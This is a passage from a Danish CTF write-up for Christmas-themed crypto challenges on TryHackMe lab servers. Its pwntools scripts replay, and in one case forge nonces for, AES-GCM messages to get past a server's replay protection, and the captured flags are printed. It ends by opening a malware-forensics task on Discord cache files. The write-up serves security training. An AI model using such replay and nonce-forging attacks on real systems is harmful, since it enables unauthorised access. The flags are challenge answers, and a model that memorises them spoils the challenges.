</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] Forbinder til </span><span class="si">{</span><span class="n">host</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 1) første ønske</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] Sender første ønske...&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="n">hex_ct</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">first</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;ignore&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[&lt;] Første respons:&#34;</span><span class="p">,</span> <span class="n">first</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 2) replay af præcis samme ciphertext</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] Sender samme ciphertext igen...&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="n">hex_ct</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">second</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;ignore&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[&lt;] Anden respons:&#34;</span><span class="p">,</span> <span class="n">second</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># prøv at fange evt. ekstra linje (fx flag eller farvel)</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">extra</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.5</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;ignore&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">extra</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[&lt;] Ekstra:&#34;</span><span class="p">,</span> <span class="n">extra</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><ol start="4">
<li>Flag.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 exploit.py 10.82.175.7
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Forbinder til 10.82.175.7:1337
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Opening connection to 10.82.175.7 on port 1337: Done
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Sender første ønske...
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Received 0x2e bytes:
</span></span><span class="line"><span class="cl">    <span class="m">00000000</span>  f0 9f 8e <span class="m">85</span>  <span class="m">20</span> <span class="m">56</span> <span class="m">65</span> 6c  6b 6f 6d 6d  <span class="m">65</span> 6e <span class="m">20</span> <span class="m">74</span>  │····│ Vel│komm│en t│
</span></span><span class="line"><span class="cl">    <span class="m">00000010</span>  <span class="m">69</span> 6c <span class="m">20</span> 4a  <span class="m">75</span> 6c <span class="m">65</span> 6d  <span class="m">61</span> 6e <span class="m">64</span> <span class="m">65</span>  6e <span class="m">73</span> <span class="m">20</span> c3  │il J│ulem│ande│ns ·│
</span></span><span class="line"><span class="cl">    <span class="m">00000020</span>  b8 6e <span class="m">73</span> 6b  <span class="m">65</span> <span class="m">73</span> <span class="m">65</span> <span class="m">72</span>  <span class="m">76</span> <span class="m">69</span> <span class="m">63</span> <span class="m">65</span>  <span class="m">21</span> 0a        │·nsk│eser│vice│!·│
</span></span><span class="line"><span class="cl">    0000002e
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Received 0x37 bytes:
</span></span><span class="line"><span class="cl">    <span class="m">00000000</span>  0a f0 9f 8e  <span class="m">81</span> <span class="m">20</span> <span class="m">53</span> <span class="m">65</span>  6e <span class="m">64</span> <span class="m">20</span> <span class="m">65</span>  <span class="m">74</span> <span class="m">20</span> 6a <span class="m">75</span>  │····│· Se│nd e│t ju│
</span></span><span class="line"><span class="cl">    <span class="m">00000010</span>  6c <span class="m">65</span> c3 b8  6e <span class="m">73</span> 6b <span class="m">65</span>  <span class="m">20</span> <span class="m">69</span> <span class="m">20</span> <span class="m">68</span>  <span class="m">65</span> <span class="m">78</span> <span class="m">20</span> <span class="m">28</span>  │le··│nske│ i h│ex <span class="o">(</span>│
</span></span><span class="line"><span class="cl">    <span class="m">00000020</span>  <span class="m">49</span> 4e <span class="m">47</span> <span class="m">45</span>  4e <span class="m">20</span> <span class="m">47</span> <span class="m">45</span>  4e <span class="m">54</span> <span class="m">41</span> <span class="m">47</span>  <span class="m">45</span> 4c <span class="m">53</span> <span class="m">45</span>  │INGE│N GE│NTAG│ELSE│
</span></span><span class="line"><span class="cl">    <span class="m">00000030</span>  <span class="m">52</span> <span class="m">21</span> <span class="m">29</span> 3a  0a 3e <span class="m">20</span>                               │R!<span class="o">)</span>:│·&gt; │
</span></span><span class="line"><span class="cl">    <span class="m">00000037</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Sent 0x91 bytes:
</span></span><span class="line"><span class="cl">    b<span class="s1">&#39;00097b22746f5f223a317da915573c718091c07ebe42f1519bbe4d150e00000000000096075524d588d850508ec7c682ef9487b72c9dfcb6c31aad3f4a0cb6bc06bf73b13e262a53\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Received 0x2b bytes:
</span></span><span class="line"><span class="cl">    <span class="m">00000000</span>  f0 9f 8e <span class="m">84</span>  <span class="m">20</span> 4d <span class="m">61</span> 6e  <span class="m">67</span> <span class="m">65</span> <span class="m">20</span> <span class="m">74</span>  <span class="m">61</span> 6b <span class="m">20</span> <span class="m">66</span>  │····│ Man│ge t│ak f│
</span></span><span class="line"><span class="cl">    <span class="m">00000010</span>  6f <span class="m">72</span> <span class="m">20</span> <span class="m">64</span>  <span class="m">69</span> <span class="m">74</span> <span class="m">20</span> <span class="m">66</span>  c3 b8 <span class="m">72</span> <span class="m">73</span>  <span class="m">74</span> <span class="m">65</span> <span class="m">20</span> 6a  │or d│it f│··rs│te j│
</span></span><span class="line"><span class="cl">    <span class="m">00000020</span>  <span class="m">75</span> 6c <span class="m">65</span> c3  b8 6e <span class="m">73</span> 6b  <span class="m">65</span> <span class="m">21</span> 0a                  │ule·│·nsk│e!·│
</span></span><span class="line"><span class="cl">    0000002b
</span></span><span class="line"><span class="cl"><span class="o">[</span>&lt;<span class="o">]</span> Første respons: 🎄 Mange tak <span class="k">for</span> dit første juleønske!
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Sender samme ciphertext igen...
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Received 0x37 bytes:
</span></span><span class="line"><span class="cl">    <span class="m">00000000</span>  0a f0 9f 8e  <span class="m">81</span> <span class="m">20</span> <span class="m">53</span> <span class="m">65</span>  6e <span class="m">64</span> <span class="m">20</span> <span class="m">65</span>  <span class="m">74</span> <span class="m">20</span> 6a <span class="m">75</span>  │····│· Se│nd e│t ju│
</span></span><span class="line"><span class="cl">    <span class="m">00000010</span>  6c <span class="m">65</span> c3 b8  6e <span class="m">73</span> 6b <span class="m">65</span>  <span class="m">20</span> <span class="m">69</span> <span class="m">20</span> <span class="m">68</span>  <span class="m">65</span> <span class="m">78</span> <span class="m">20</span> <span class="m">28</span>  │le··│nske│ i h│ex <span class="o">(</span>│
</span></span><span class="line"><span class="cl">    <span class="m">00000020</span>  <span class="m">49</span> 4e <span class="m">47</span> <span class="m">45</span>  4e <span class="m">20</span> <span class="m">47</span> <span class="m">45</span>  4e <span class="m">54</span> <span class="m">41</span> <span class="m">47</span>  <span class="m">45</span> 4c <span class="m">53</span> <span class="m">45</span>  │INGE│N GE│NTAG│ELSE│
</span></span><span class="line"><span class="cl">    <span class="m">00000030</span>  <span class="m">52</span> <span class="m">21</span> <span class="m">29</span> 3a  0a 3e <span class="m">20</span>                               │R!<span class="o">)</span>:│·&gt; │
</span></span><span class="line"><span class="cl">    <span class="m">00000037</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Sent 0x91 bytes:
</span></span><span class="line"><span class="cl">    b<span class="s1">&#39;00097b22746f5f223a317da915573c718091c07ebe42f1519bbe4d150e00000000000096075524d588d850508ec7c682ef9487b72c9dfcb6c31aad3f4a0cb6bc06bf73b13e262a53\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>DEBUG<span class="o">]</span> Received 0x16 bytes:
</span></span><span class="line"><span class="cl">    b<span class="s1">&#39;NC3{Mag1c_c0py_p4st3}\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>&lt;<span class="o">]</span> Anden respons: NC3<span class="o">{</span>Mag1c_c0py_p4st3<span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>*<span class="o">]</span> Closed connection to 10.82.175.7 port <span class="m">1337</span>
</span></span></code></pre></div><p>Flag: <code>NC3{Mag1c_c0py_p4st3}</code></p>
<hr>
<h2 id="ønskomania-7000">Ønskomania 7000</h2>
<p>Julemanden er ved at være træt af gentagelser! BitNisse har fået en opsang, og serveren er nu blevet smart nok til, at den kan stoppe gentagelser! Men måske ikke helt smart nok?</p>
<p><a href="https://tryhackme.com/jr/oensk0m4n1a7000">https://tryhackme.com/jr/oensk0m4n1a7000</a></p>
<p><strong>Løsning:</strong> For ikke at gentage hele Ønskomania 6000 løsningen igen, bruger vi da bare CryptoGPT igen :)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span><span class="p">,</span> <span class="n">context</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">hashes</span><span class="p">,</span> <span class="n">serialization</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.kdf.hkdf</span> <span class="kn">import</span> <span class="n">HKDF</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.ciphers.aead</span> <span class="kn">import</span> <span class="n">AESGCM</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">&#34;error&#34;</span>  <span class="c1"># evt. &#34;debug&#34; hvis du vil se alt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BASE</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span><span class="o">.</span><span class="n">resolve</span><span class="p">()</span><span class="o">.</span><span class="n">parent</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load_shared_secret</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">santa_public_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="o">.</span><span class="n">load_pem_public_key</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="n">BASE</span> <span class="o">/</span> <span class="s2">&#34;keys&#34;</span> <span class="o">/</span> <span class="s2">&#34;santa_public_key.pem&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read_bytes</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hacker_private_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="o">.</span><span class="n">load_pem_private_key</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="n">BASE</span> <span class="o">/</span> <span class="s2">&#34;keys&#34;</span> <span class="o">/</span> <span class="s2">&#34;hacker_private_key.pem&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read_bytes</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="n">password</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">shared_secret</span> <span class="o">=</span> <span class="n">hacker_private_key</span><span class="o">.</span><span class="n">exchange</span><span class="p">(</span><span class="n">santa_public_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">assert</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">)</span> <span class="o">==</span> <span class="mi">32</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">shared_secret</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">derive_aes_key</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">salt</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">hkdf</span> <span class="o">=</span> <span class="n">HKDF</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">algorithm</span><span class="o">=</span><span class="n">hashes</span><span class="o">.</span><span class="n">SHA256</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="n">length</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">salt</span><span class="o">=</span><span class="n">salt</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">info</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hkdf</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">build_snowflake_message</span><span class="p">(</span><span class="n">wish</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">shared_secret</span> <span class="o">=</span> <span class="n">load_shared_secret</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">SantaID</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">plaintext</span> <span class="o">=</span> <span class="n">wish</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">aad_struct</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;to_&#34;</span><span class="p">:</span> <span class="n">SantaID</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">aad</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">aad_struct</span><span class="p">,</span> <span class="n">separators</span><span class="o">=</span><span class="p">(</span><span class="s2">&#34;,&#34;</span><span class="p">,</span> <span class="s2">&#34;:&#34;</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">aad_len_bytes</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">aad</span><span class="p">)</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;big&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">salt</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="n">derive_aes_key</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">,</span> <span class="n">salt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># vælg nonce så snowflake=True:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># counter = nonce[:8]</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># encoded_int = int.from_bytes(counter[1:], &#34;little&#34;)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># encoded_int = 1 -&gt; zigzag -&gt; -1 -&gt; legit=False -&gt; snowflake=True</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">nonce</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">counter</span><span class="p">)</span> <span class="o">+</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>  <span class="c1"># 8 + 4 = 12</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">aesgcm</span> <span class="o">=</span> <span class="n">AESGCM</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ct_and_tag</span> <span class="o">=</span> <span class="n">aesgcm</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">nonce</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">,</span> <span class="n">aad</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">aad_len_bytes</span> <span class="o">+</span> <span class="n">aad</span> <span class="o">+</span> <span class="n">salt</span> <span class="o">+</span> <span class="n">nonce</span> <span class="o">+</span> <span class="n">ct_and_tag</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Brug: </span><span class="si">{</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s2"> &lt;HOST&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">host</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">port</span> <span class="o">=</span> <span class="mi">1337</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">build_snowflake_message</span><span class="p">(</span><span class="s2">&#34;giv mig flag 🎅&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hex_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] Forbinder til </span><span class="si">{</span><span class="n">host</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># læs alt frem til første &#34;&gt;&#34;-prompt (som klienten gør)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 1) første send</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] Sender første snowflake-ønske...&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># svar på første besked</span>
</span></span><span class="line"><span class="cl">    <span class="n">line1</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;ignore&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[&lt;] resp1:&#34;</span><span class="p">,</span> <span class="n">line1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># læs frem til næste &#34;&gt;&#34;-prompt (næste input)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 2) replay samme besked</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] Replayer samme besked...&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># nu læser vi ALT hvad der kommer, indtil connection lukker / timeout</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">line</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mf">1.0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">except</span> <span class="ne">EOFError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[&lt;] out:&#34;</span><span class="p">,</span> <span class="n">line</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;ignore&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p>Kør scriptet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 exploit.py 10.80.162.43
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Forbinder til 10.80.162.43:1337
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Sender første snowflake-ønske...
</span></span><span class="line"><span class="cl"><span class="o">[</span>&lt;<span class="o">]</span> resp1: 🎄 Mange tak <span class="k">for</span> dit første juleønske!
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Replayer samme besked...
</span></span><span class="line"><span class="cl"><span class="o">[</span>&lt;<span class="o">]</span> out: NC3<span class="o">{</span>G0tt4_l0v3_z1g-z4g_3nc0d1ng<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>NC3{G0tt4_l0v3_z1g-z4g_3nc0d1ng}</code></p>
<hr>
<h2 id="minos-1-initial-access">Minos 1: Initial Access</h2>
<p>Vi har modtaget efterretninger om, at BitNisse er blevet ramt af et angreb fra gruppen &ldquo;Sarpedon&rdquo; og deres infostealer malware &ldquo;Minos&rdquo;. Vi har kontaktet virksomheden, der endnu ikke selv var opmærksomme på angrebet.</p>
<p>De havde lagt mærke til, at deres PCer var begyndt at opføre sig lidt underligt, men antog, det måtte være fra en bug i det julespil, de har sendt rundt mellem hinanden for nylig på Discord.</p>
<p>Vi har fået et image af Joe Bitnisses computer til analyse og traffic logs fra BitNisses netværksmonitorering.</p>
<p>Din første opgave er at undersøge, hvordan malwaren oprindeligt kom ind på Joes computer.</p>
<p><em>Da dette disk image er langt over 20GB har jeg valgt ikke at inkludere det her.</em></p>
<p>PCAP fra netværksmonitorering kan downloades her: <del><a href="#">malware_minos.zip</a></del></p>
<p><strong>Løsning:</strong> Ved at benytte <a href="https://www.autopsy.com/download/">Autopsy</a> til at analysere disk imaget fandt jeg, discord&rsquo;s cache mappe under <code>C:\Users\Joe\AppData\Roaming\discord\Cache\Cache_Data</code>. I discord&rsquo;s cache befinder sig cachede filer, fra dine chats, som eg. billeder, videoer, og andre filer. Her finder jeg filen: <code>f_00003a</code> som indeholder et billede med flaget.</p>
